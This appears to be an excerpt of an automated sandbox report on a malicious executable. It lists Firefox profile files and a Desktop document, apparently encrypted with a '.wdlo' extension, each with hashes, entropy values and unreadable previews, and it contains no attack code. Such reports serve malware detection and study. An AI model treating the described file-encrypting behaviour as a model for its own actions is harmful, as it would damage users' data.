D..7`...9.J%..y^..y-&..:.6{.R...uL.$.{.....2..^{R(..]M......s.$.[.......g..\|_C..M....~O&.F.k}...ex.0....f.....o..8..c.6.[_3..g./......H.#i...X.U}^0....z..=.`.]......U2./.Wj.'7.3..R3=.,.e^..4.-..2...l6...W.L..yxl....^O'c..i.5cwTWzMB...0%xq\C]...n.....K..{......Jx.^...&&...1DP..Ru..`....^o...k.*....$3....e..?}......a...,... ...2....I......O...V.5.....'.du.....vc1V....M.I..xd.v...s...\|......9..)_......=t5.kY^....`...?..G'.......,SN.....e...n..k...d-.v!=...d....H....1-@....D&i.B_.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	9838
Entropy (8bit):	7.980644543722891
Encrypted:	false
SSDEEP:	192:td75toPGmK66YhyTXUcmVjU8J5ov1FKr+GyFH1hAthKYzWF2ga8sx2q:tddpNrUfVZYKSGyFH1OzLzSsx3
MD5:	2C807CA3F780BD6857FDF8DFC550CFED
SHA1:	A812D021CB66BF9B53A0A00784E86A4A26C3A2E8
SHA-256:	BCB29D6D8CA77B5D041CCA612937061A9B6E471998D4B4D2462CB2B3C19BEC57
SHA-512:	74B03D0D012E7F87136FD9F466C42A968EFE801CE21217B50AF972737CDDE9F2E1D4F1211E5917DB330F1A4688FA852A05C7AE0A9A013FC5FA732D17216B2250
Malicious:	false
Preview:	// Mo`...z..N0......8...u...m....Dr.<..'....#GU........#G.8.mc{......}g....>.`.~Y..){E....K..6....;.t.+.VG.1B..&.0.T.4....w..AO.{..t.'F.....LFJ...+..,..\q..o....W...5c..z..L..x.k..E..4Q....p.........v..G.s.$kD".jIf.YP.....\|b.[.. ..Ci..(....Z.]p....q.,.Y....r..z..P.f.?....\|:..Sg./_W.3.l.....L.87.....%..c.S3U:E.e.....Rx.^4.......%.....4.:85$.*.....)%...-. ....b.L.z}J8.....Ozi>Bu....XZ.g.#.a[{...e..C"...e.....~p..../Y~F...M=.L...oV.~P....b. ...<Q.......$m\.+\|..../..;k.\. J25..(.V..GL...#x....zo.X..-v6..C...,.<..M.Bf.%..8..".......XD....3.;..z.].J...]Ru.l...}..........;.y..~o.......L....,C..#m6.H.t...i'n.XTb.V)..fg....zv....2o..=qZD,.-?.Q;..YuN..R...N..I9...R&......&I$..q....V~<#...qA.!]..A-(.-"...9...l.{...ko2.h..oL.....Q..&.%....S..C(....<_..vob:N.T.N.A.....m....8..&6<...'..BY.....mB..W]..}.;.G.E..p.....g4.....1..L......A}.....\|.....]/..QQ...=.[...Zm..h....]B..&.tw.+..\..u...E\^.X...:..9.......9.t&.,j.i..u..V\|.Y....0+0.}.....;Qm!(V'...

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.9972756918060375
Encrypted:	true
SSDEEP:	1536:3hUpMfd1Q/dGytDDafFSStPr3oNCSXH1mK3KqEikbzWXpBkZ:3bHQ/cytDqUStPrErKqE3Wg
MD5:	FB5DC0B83E1CBB0E9B6D23B1678C33FE
SHA1:	9CD11EDD0380ECFC1339DEEB290BACFE5F5E81E9
SHA-256:	2FFC7E5672CD8D9E2CFC744A0ECD6C8EA9FFCA26C80C26ACA9ECC5F9899F7390
SHA-512:	1CF1DABC0BBEECB8028E97B9ED7FAFE130718044FD3CADA519D8D2E2A04EC02197460DDDE6C5D38C4B23D42E8F926608179DEAA19646E76383F2AF597A0DEF5C
Malicious:	true
Preview:	SQLit.dV.x..,o_...T....x.(...Y3)]0.F..Y.....>2...Y-.......^.....L..x...0........9O{.KQ....?1-.P4.%.H...t\E..&Q'h..%......{...I..._...w.....$..V..jA.B.,.DI...;\.n..i)B....Q'.?...7....x..k.L,Z.....H.}..o.o.U...O......O.....R.G...M;.....-..Q..k....'.'..........k..d.0l..........Nm3..z.}....eN.C..rx.~w.......W+.....Fk...@....jM.t+....xi...h..X......Q..F.`<....S.m.1....p"..GL.k'w..{..dz..R.....{.Ae?..:XK..P5.-..H..;.[...;^.]...'.O.Z6.....MKQ.....R.V....x..\V.~;DP.tvi.7.Ws.L{...'9VX.u..Q.O......tI..MU..r..$...`[.c..e_..x.`........E.dH.r.So....M.(9..(E.^..O0Q.......l....8..[..~S..X....8....OU......p..>[..p..2vwhH.(.'.=.z.....K:...tL....H.+7.[d.M......0...h........5...U@...{M... ...f+..#.$\'...Xkg...J...j..L..SqJ\\s....[o..E\|.US.p.8c.....RQ...?Fq\|......^........l....4...Q.A1$....rn...:....s\|..gz.RzK3.!....G'..'6.GXD_...w.K,..(t..1.......B...........\|..W..W(.d....X....X...\j.$.`...l..^.l8....s`k..B]3...?i..*%.7Bd.s..J.0.&`.I..../y...).

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.733996750786715
Encrypted:	false
SSDEEP:	12:ZDCfQIusNO+qAKikolSmri+RbkQ3q663YKfFsFxeK5LfgdDO4EKvUWusNkrxa36Q:ZDURusM+aulSc3pBq66IWsFxL5LfJ4EC
MD5:	DDC71F28B66A54A7F2A5E5B98B48F47E
SHA1:	A645E3C8E2A0092D679F072535B19C4695CC8755
SHA-256:	B5DE0E7ED9DEFA85161712BC4D203E63BDC8211E3DB0F4161DB92C27E8D62382
SHA-512:	83F026BC8D87D254CA701403ABED08B57903B0922A99669E67B3A4DE1AC13F040FF7BC81825F6BF08842F15A669C4E7E11453E68D79AECDADDEE29F13F8E9568
Malicious:	false
Preview:	mozLzL...?,......D....j...q....P"....4y.+............z.-f.>`...S....].....1.K.a...m.^.:fIid.a>..G,v.....}h%.@....,#....uI....Yo.8Y.`N....v.N9.z)c...o..`..w>%Z..M/..........Qd.\|^(.....z....H..E...".......+Q.RP.:..2....a.4s.2.t....~....}Z....mnnz.9.~t..'K...!.=.r3p....\.Y.......R......"cA............#uI@...C....z.6..!X.J<#.\..>eD,J..n'H...]......F#.....(A.%l.Y.:....d....[8..U.8i.u}..j?.Gg#..f.)..<{.F.r$....r.xW...Z......-.~=.j...].@8.%I(...(eM.....c.q..2..2........N..3.. ...hf..p.N. .&.........k..Jp^..@B..f.m<....v_l}.XE..T.%[.....o....y....&.....X.!L..W..>..*:.D..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.62263425199012
Encrypted:	false
SSDEEP:	12:YoTYqZ8VWTQD6e1AeyyvhgU/PjOgjMgwCCMQAxUbWdTQ/hE7E6c28L4RRl936Wcq:Yad2WUWQzvht/a74AjbWdTAhE7lc2aqR
MD5:	BDE0DDB4B0D0FFE69563127CB5CC6600
SHA1:	D01331A5A314CB5D88289A9E77F1C0868258BCE5
SHA-256:	07E5BDA4CF46DF4534C207FA6D4342BB4B9525CBB69EDA4F34D73D6F625EA126
SHA-512:	DFAD25FACDB1A9FFB905DEF402AAC44AA1861D20BD22DFEC49C1C7836E07C8084732849DC3C510B36CC91C15644D4F1173DFC1E0616A14845DFD8F3F2FF7154F
Malicious:	false
Preview:	{"pro..A..MkOX.LQ.?..W...{.4.-...;~q..0....X..1%.H.Bv].[..#o..]....p]..+...Z.........v..].OJ.....F4.T.....,... .g5e7.........N8.%0..BzhG..4X.7;.......S..1g..;....N.x0.#v..S3.(I.y<2.V.k.:.dUo.[...'..(..g...CAANts.*`3.].&T6.A..`.....k.......3MXw.?1....[u.).......F.W..A...4..l......B.9.&...-.U.....sA.......r..W.}.v..........\|.W.&._...y..cf.....:O...Q..J.mR....D....A$........K...........@S...B q..b{{h.mb........"o...!.q..\|.>.3P.e!.&..?...>u<.4T..J.].7..0?.I.e}:....ej)\.#......A1.e........./..p...[.DRc...g..[;..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.8851123815201
Encrypted:	false
SSDEEP:	48:CZYkJ7xjCSGCgK4zDazH/kiy2ySfqcqtmt13nD:ULJdgC8ybSRSfsmtJ
MD5:	BDD49F66EAD61104A9BA350126CB667A
SHA1:	D5E8B94A2D7C221AD8A0AA4B91541DA2C166B477
SHA-256:	17C29D48C44E053E7E1FDBE6D5A0A3A8A05D5DCCDA68315E846093E7D0AAD24B
SHA-512:	0294497DCB3F2DB799297F3D0F70388D19114DB9D29E0AA56D9B9A4022DB366FC3C46EF41242CE64674FDFE1CA0023FFE1127BFF104661E88B270FD332B65835
Malicious:	false
Preview:	mozLz.l.p.cow.wy.S_.@OR.05.C.j.[J&h.....e.H.&0.s...Y.3./R:..l`.o.E.u..CjH.h.mI...g.-.W.$.d...............I.h.y......AZ;$....8u...wb6`j.{}.w...}X......D+$s{U.....O...J...0....#S...{.....jn51.K.'...C.n.T.Sv.v.......{...wV..V_.OD2...=<;.Y..A.......".\!E..?;e@....E'.#.8.]..N.h>.\H...F...=.m.%\|..m.....+.!......&.S....).r..V...`.q..D....+a.W...z:.!.G.s..1....Tj-.Q..B..\...P.....MK.@r>.#.S...GA..e.J....,D`v....^lc.V.%..4bo...Kh..c.=._.Q.....2.r.....9>73.b......F/;KN..uS...].../[..GP.D.8E......,pb3..k...A.......R..dU$.7A..9N.t.......s....k...K.......m#+\|J.+......3..^..8K.r....i...N.I....BibV.0;P...J...\..,....'.......0..G_......x4.....4a@..q......-...1.-..J..._(..Q!...2.Jd..K.m.7..e3n...j@?.c.F.#O*.... H.Cu&^....MZ.<.y.......#..B...V.[......Wa.r.'..l.`.t..-....d>.9N....\..{...E..V...2..../.....G.'...s.....F.........I...gF..o.K...6.O..,..2[..g.b.<T.n$..y7h..B.k...P.RML#W..G..WV-.g .`Xb........LG....d3.Y....!....&f?Q_...4........972. f.r...o~C..lD.B.

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.306833955439161
Encrypted:	false
SSDEEP:	6:YAsRubyI1wgM/0BwRUDi1eXoK9edDikxEfDFUL2AkKSU/V5OsVolWbz6Wcii96Z:YVRYyI1LMMGRki1eXJExEfyLfSa36Wcq
MD5:	13419279E71325B26B887F500A8DA780
SHA1:	78F3A0E2102CAEE752C1B293B3EF730DF336BAE4
SHA-256:	222ECEDA6CF76E46D8B50C102B94AED9BF0F9D3CF820E25E24DB020526BCC6DB
SHA-512:	A9EB7BD9D122A2E9A5B7A11B684FB70B725CDB2D47222D7B5E9AD6F286E7CB32D92AB298983DCC899E14B99484C8977B9659A2CFDA67ABCA194D56F30CA58F2F
Malicious:	false
Preview:	{"exp11k7..cG7....Dx..0.Z5.L.0_b....@.E.......I:.fr..q=.......R..A....@..~....v..F".Y...1..U.XM.K..)e..Dy).~.G..o."{2.'.#V...^ .:.\|<..3....HX.......'<.....r..n..s.[.Q...`...Y.f.@.w&rw..ya.(.M3lr..1.J}......:T0...?]#5.."..~........a..Dlo......W8].n_Q.C....Fa.!..e..S..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.955269922175388
Encrypted:	false
SSDEEP:	96:DT91c76PKHx16j300KsmmwrEh6aE15tTnvbtot0l9IAzUo:f91u/xUj30rsFhxExpYY97f
MD5:	DB4CFA264A706B62A1346C1FD9042AF4
SHA1:	23A4C864343C39C1E0C3081CB8525AF6DFB216DD
SHA-256:	A9778DC00B11A0B17B3F9A70140F3ACF4D4E6D0BBACF3CB971AF70918EE4CFDA
SHA-512:	21C956DAA30262C6ADA93CB82C32135283D90620F1D501F73539BC0F2F131A2E6B5F11D766201BCF2186CF28FCEF48C3F5AA7BE4681EC939EA8E497C38689F5C
Malicious:	false
Preview:	SQLit..#T.e......#I..j...@5..8:f.)ti.....^xC.a.d....v.k..y.....(...\|.....J.\|..e.d#.?:.N..ovK....M..6.^...%.t.7..r.\|.Y.._Di.....8..T.......K......G.x.Y..;..LrD.P..P:..\....k...v...&..+...dv-..aVe..........;i...8.....#..2../:.b.#4...:\|.#Q..'l.Wi..M......].0+......P.(.)..VE.....@ng1...r.R.,.......w....W2..Al.H...@3 f....m..=..9.2:s5&..LKK....I..FH(0..?q...%6....y...g.....O......F.E....a$lDV.......lr#.s..]~.'.Jb...v0...e.;.[.o...:./.j..8..............p<....>io.....B'.n.d..k..Pr.I.~].(".8..dP..%...g.3...sI...`..~f..-k.......Yq.o.....%....D;.R.jD\|... ...q..w....iN...F.....r.............g.>.a.SA`.....eH..Y.`.....N..f.........Cs.?..J........b........Sxo`P.\VdNR....V&j...h`...PW\......A.z6H.afX~..^....C....Sh..{.8z..Q...i\|.3r......Q..?..C.../^....>YB...3.....7......wr.......[...o...(...N-......T...gT..4..54. ..q9..Tml.s9..S....4)+.iT:^..6u.A:6.C...-8. }J....+.n.qk.p....~.'.z....P.@..L..@Xz...AwD......gz..k)......7.9.......t.&j..YA.a}.....`..

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.96050381784373
Encrypted:	false
SSDEEP:	96:IzhDQD0a32+qxW8drYeZT/MniwzdoiYWhZBrfqbBX68XAWV0CmWf7:mDQgaG+qxRdnZT/MniYoiJMXVAWV0CmM
MD5:	AAC9A5AC87FC74B0199AFA0236839684
SHA1:	0325FCF916641E79637DFD45F49EE8E42F2ACCD1
SHA-256:	C2BBCE9CA80F785BC40CFCF9E72F72983829228AB092FB29C3D09EDC766D2D0A
SHA-512:	E56C4D63722BBF220F9C01301B680BB616622234F7F2A2C5D6D8348ADE2BA2E8308395FD021C372048235D7A4FC6E6D8089CFE78BE9C1BFAB994F9AA0E2458F8
Malicious:	false
Preview:	{"env.9.".0.Ls.d........K....'..KW....6.......~;........f.U7...1.q.k... .6.g....)....~._......._..@.g e..W...D..s7.e.N..v+.\|..t....o.....z..+..u...c\..a.-..".J:...4:.I...D.X.e.f`.........F,JN.u..[F.C...t.#..hP.}.`....'.v...C.V.o..,.7.....ay...d_N..ZV.x.0..&}'..U....V3oy....%....cY`..+"$g...N. .5.e.rQ)..4",.=S.-.\.+.)b?z.u...fOt...&..d?..-z.Yw....).Mc1g....;...c..N..Mqe&QO...b\|...L.J.$........L1..1>;f.X^../.u......D.M.<=...c....q.{!.j. .Q..,k6H1..%..S...1.@d.=.....)....Xa#.\.........1.B.............dn}.BVg../0<.Ook...c,.D..<.z....&....).{h..~.%S..&.R.....D.\|.K....OO.....:In.[.l...8.V.4p..jd.N.u...D.n..Y.v66u..&....67$..d...Y.z.KbFI....*Fyf<.[>.p....ZM..B.1J...+4u.C.[Pj.d..F......8.....J..}[.YTk.../hp\|...u.%...^+.'.....~.h...".-..tg9.x...%b.;%j..\.m<..9.d..\aE]{..E...........1..{....9.NM..?......3_.Z.l..E.`t.Z.....s..b%..0.....#9^.9.".......~.`.....\|c.R.z..T....1..X)..N8...%y.fx!.a...?&..4.!......P......'l....W...4.....v.......{5.:P?

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.279751394305126
Encrypted:	false
SSDEEP:	6:YGKLDzHDC+cYX9w6bHmHzindJB0WXDtISO9kgN4rpTWNo1jYq9EnobOsVolWbz6Q:YGID/R26bHizwR0pzkHEAjYwEo936Wcq
MD5:	80A71419A64230EBCA8A05B1FBF813AD
SHA1:	8597AFF8FD99A9C4AD93FBE7B4E541FFB0CF694B
SHA-256:	92CC1EA12DDEB7ED6B8EF2C15F5C0F4707BC931CB16CD277FB631174E8F4B752
SHA-512:	4A546276E57DAB485BDD3AAC8AC2579D8720D07949E67FE62CC9257B2D177117FE511C32A5B9B0A64F2E9D53ED9D0D892CDBFBD41C1E02E27C63BB3873473950
Malicious:	false
Preview:	{"cre.B:.d?.....i..'zB..NZ....s..v.r.K.v.1j..[..Um.k.=8_.........I+#.....9;..{....T./.".X...4...f`.U...~/..V..-..(.O.1..?./h..cy..i...V.8o..Q.4....:.x...XQ6.8.cWy......a....7..[Y2.;G..f.....}G.p.AW..E...(.YP9..n.}.o.h{!.!QX:..'1<...q.MzY..2..../..J..@..b....v5..Z...F.W........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993924863149442
Encrypted:	true
SSDEEP:	768:u7j4i7a1N32mowBpPG/jnwoLcqomc96PQB/jUB:w4N1NmMjPcwxqomcx/jw
MD5:	31C9301497AD18DF69639E578FE26094
SHA1:	8470C2309DAC6EAB3B2AD60FA3E1755C1833AB57
SHA-256:	6D99849D5AC02D02F41C4B98C794735BD57E1DB5ABD774BDE374236124B10645
SHA-512:	90ED31988DF0831E438886DABC81A7230DCF22AD4B9F61433A363B27C6103A787D00757EAB59211301E013085D69AE7A91EB6F8D02189E455390F79E17B45307
Malicious:	true
Preview:	..-..}@.'..^...<..@#L..eq.. ...B6../H...e.0UR..QC........Lz..^.......J.-X..=_].;._...j..%..!.I...+i42..`...ntbh.Um(;..k...GH..y6-..n6.....\|H..^.a ....V#...9.d."~.TdJx"E..]dE...'.C.....%..i5e...M..6.b.]W...AU.3..0.....}.g..E.v&.V..B..WC.P.>..U...=........p.s...^... .Q_%.f...mJ.Zd.$.A.;.k..OUu..h..L..,...H.)....&..8^..2<e.Li{2.v..._..'....dD.O..c<..f.....<...............+QH./.`....w......X.,.dV...T..>...t.4eV`.+}....4!lE...'....I...r.d..`.z.....d...-.."\|..,I....K..hsx.d..G.&.c.1..T.k.d....r0s."^....../...k.U..@.....rB..?...!...'...b..X.h...8....$....P")r1..ST.e..D..+....(U......GY..ehoi.jRJ..._e.;.U.Q.1.v..aS~....7.h....9E....T...[...5s... .&..D?... ....~......p.En.I...3t.j....L.O..xs.3.u..f..q.%A...6..H.........M{./7\...BH.j@.G.Jl...X)D....g....aq..z.D........b....ce..x...{..^...._.........Z........aj\|.p,`..8w...z......1:.sc.f.....t.%.=k..O.......z......Za.&.!~.O..VGk..d.....5..JTE..P...YIV..}.dR...3_.E............0.....I.&.K

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998362675617077
Encrypted:	true
SSDEEP:	1536:+yFv94RP8bZu9uSzrfqkTzXLhT35fUQpHzr5+LD2yQpJe204f3HychzvrT:neRUlu9dvZXLhb5frpTr582yQpQExDT
MD5:	4836E721F4C1BCC1C2603F17043B91B1
SHA1:	04411F1EBCCBA13340B8304B584C597587E17719
SHA-256:	143D832B6601943F2A1AA01AC88FFC3500611B662B1631E04CBFDB97DC94BE92
SHA-512:	6AB8C8290F5A22811212DA0A513DB7CE6F96295F8B8F3DC9139675316C1B42544866C622BB7119AEAC553C2208A4E2AEF8E2F1996E439F47BA766B59E7815401
Malicious:	true
Preview:	SQLit%..X..$....lo...WYY....[.b.........GVJ..f.{....&%.n...U.B............7MbY$.Q.4...}m\~..I.@..iC.!..2'...Ea...M...!.K6.%.........?F...H.5.o..{.Qqw.\'.J...K...........K.\|J.cG.b..F....[R.....?...C.7..)...U)y..})Rb............E......o...4......dN...\]..U@.a....pZ>t.b.8mm...p..,...{.FO(.#!.z.?C)....o.(.Y..84.\e..W...%O%.g..x.Z.Mo.c.fX./!..P..P...q.%b.%l<..r.y ./.....3.#k..r.#{..2jWR..^e.W....4yP...G9..N....U ..v?.......,...N....lD{...G..=.I.Sn8.b....9...x.....c^}.m.B!e.Y.8.q.....X..E...:..K+...[.z...X....\....F.Z...x..#.....1}P,.5..f=.....0....A.[.@%.@b.y.Q.^;<.......9....]].K.....7.h..5.D.A.~.\|.......r>?....e.I..^4w{.Q........_..H...?....d...../...1psm.h.)..Q.?..........!/...k{....h.....[..O.mW..[U.C........-O.[....1.z..VX..........h<.h.!.c..`=.p.L....Q>zD......^C.......E.p........3...N..."..^<..........z.{5.....L.6I`....6......>7.h....r.......E. .iV...7.....^Ir.ST.hn.!.G..\|..2..=.....3}5([?<.....}f!....L.L......S........\...md.G.W.GdU

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	7.520029961276864
Encrypted:	false
SSDEEP:	12:YGBN3TIty77bnrK5hQROcCJQTFwi/Vc36Wcii9a:Yi9TAYWPQXTF3Vc3zbD
MD5:	AFB84351AC3340ABE2C84B8272DF873E
SHA1:	7609F9B6B9AE410D3D535A684A17B424CECBB4FC
SHA-256:	E9AD3F947F24C6B1CFF2B1A02A4E20E28415E5E8AE4E387E08488212BC18B9E2
SHA-512:	517C186B57740C74F64869E82D1ACCFCC011FFA2873E867FD9863585E5D738B72EDEADFFD9863247BFE5E902C00152CB76451C089C21F340C9CF26F77F1CE045
Malicious:	false
Preview:	{"chrDM..Cv...K.D.2;+...D./.t'.I........h.TH.{.'%VOJ.._tuO.s........\...ps.\|.O_....P....=m.v:d...:_x....NN.M.b.. ....%..!_U..(.!..c...L...@:?O......N@.%.I37...._..k...Y..&.g.S....-9....O..g...1.;.[......hj.S.T\6........8U.OHy.~......}.}.e.&,...&Ie....R.<......................w:;...7..-.Y.P..?..T.i...DfyB.......I.Z'vx...{.VK.:....&..}...~."...b.....C.b...o.l.u^..W..5..A..\|i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.352384903152433
Encrypted:	false
SSDEEP:	6:scgCwyDahJT6NTFztlpH2qBCfywErOts4MKnhqF2PMfb9xh3PlmdOsVolWbz6Wcq:scxH+LeFHpvoawHWF2PMfRxtlS36WciD
MD5:	5D062359008259B1258FBED1D4DB192A
SHA1:	6E84E27ACDCCECBDEF3E00E02E430FB4319AE7B8
SHA-256:	839D1F9DD8A3FF797EAC20B2FC2F797E08AAAC9CDCE8667CDA43656D946EE82A
SHA-512:	97C194A949C58C5208CAB664798303F35C81D3B1907F5A26AEE859FE3B742C7EC910856FF262C19019EEBCA8D770EF18BBECA944A941F5D88B837435DF0FB744
Malicious:	false
Preview:	{."crul}.(....L....>9.n.......t$R@.\|m..a.W..zt.B;.%.bW;....'-.........y..$..}..@.^q.\|b#...dWq...(.7m...'...5...c.3.......l...;..0......Vp..K..t{.).5l.^...(^s..."2.G....0........W....1.yJ....H+U.xX....D.l..t.l.....4.......s...84...g..*j(#....D!..Q7..K.......)\|y...C".........LI^....J...@.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838139296026071
Encrypted:	false
SSDEEP:	24:X17LMpGm8bfd5Tcb73oM7s0wJ1uJRjBl+0wyq9rxYyO+aoicG1L3zbD:5MV2cv3i0wJU7l+syOncG13nD
MD5:	0B04D35EF3E15DC1239B7CCCC32043BD
SHA1:	9A6C67B42CF33643F20EFC20CE8BCB240043063D
SHA-256:	39BCDBAC38065B9F227DD2CAD22131AEF74D08314CD768DE89EE77AC86478796
SHA-512:	7C6743088380BA48F0792B5A7E8DC2AE2241E11B1DDAED9BB4D336D913EFAB09F664B8E9352CA9F11C771A2DAEE732ED78CCB687554BCC7438872AB1D1228B9C
Malicious:	false
Preview:	BJZFP.l.........w.o.B.%..9.u...._=..p.r1.X"..#9..a"........}..tL'$....f.F.R...2D......K...c.....%..KB=&a.^....c.9.."...7..g.T3......b...?.7.E.L8...voX.....$X..3..!.....#.C..l....(l..eVg<...H..W..B..%0<. ..fz&0...B.W.`..J.c;d,..C.(.v.......i.3.O.r.g(.....:.......`.....l..\|..f.R......^.N...M .~C.`...t..:v....{e......U:\|.TD..y4nY..&.c$.........D!.[....q.p..HU.O-#.{../h............A...P\|.M..L..j........5B.M.%.W.........h.\@]..kF.N..\.w\|V...<.[W.....q......`5...}..B.......H.....Q\.......?...y:....d....5hi.....Y......n.Rk....O....C.....%..}....j6W..v..r..Q...d.EM...&.S.^..;.=M._.m...AWS..jD`u..[.<U.`.wJ.X.PH5.Q_O) ..].(....#.33.;.... u...Z...xQ...c.mi..&5jM.....*.....u./.k....n.c...G A.a...=RF...9);.....5!}..=\.\|........X.......]1_..0....".k.@..^\ ...Vi[.Br...=..`..e$.4....9.T.<.Bs.....{.$.T.....#U..........OH.S...f.X/.&\..../W......_.....S..M.....u..p~Bb...$.O7p/.....0....{.,..m...ML.....j.;.....}......4S.Y.V...ua.....P,.J.......i..t7..1UX..

C:\Users\user\Desktop\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838139296026071
Encrypted:	false
SSDEEP:	24:X17LMpGm8bfd5Tcb73oM7s0wJ1uJRjBl+0wyq9rxYyO+aoicG1L3zbD:5MV2cv3i0wJU7l+syOncG13nD
MD5:	0B04D35EF3E15DC1239B7CCCC32043BD
SHA1:	9A6C67B42CF33643F20EFC20CE8BCB240043063D
SHA-256:	39BCDBAC38065B9F227DD2CAD22131AEF74D08314CD768DE89EE77AC86478796
SHA-512:	7C6743088380BA48F0792B5A7E8DC2AE2241E11B1DDAED9BB4D336D913EFAB09F664B8E9352CA9F11C771A2DAEE732ED78CCB687554BCC7438872AB1D1228B9C
Malicious:	false
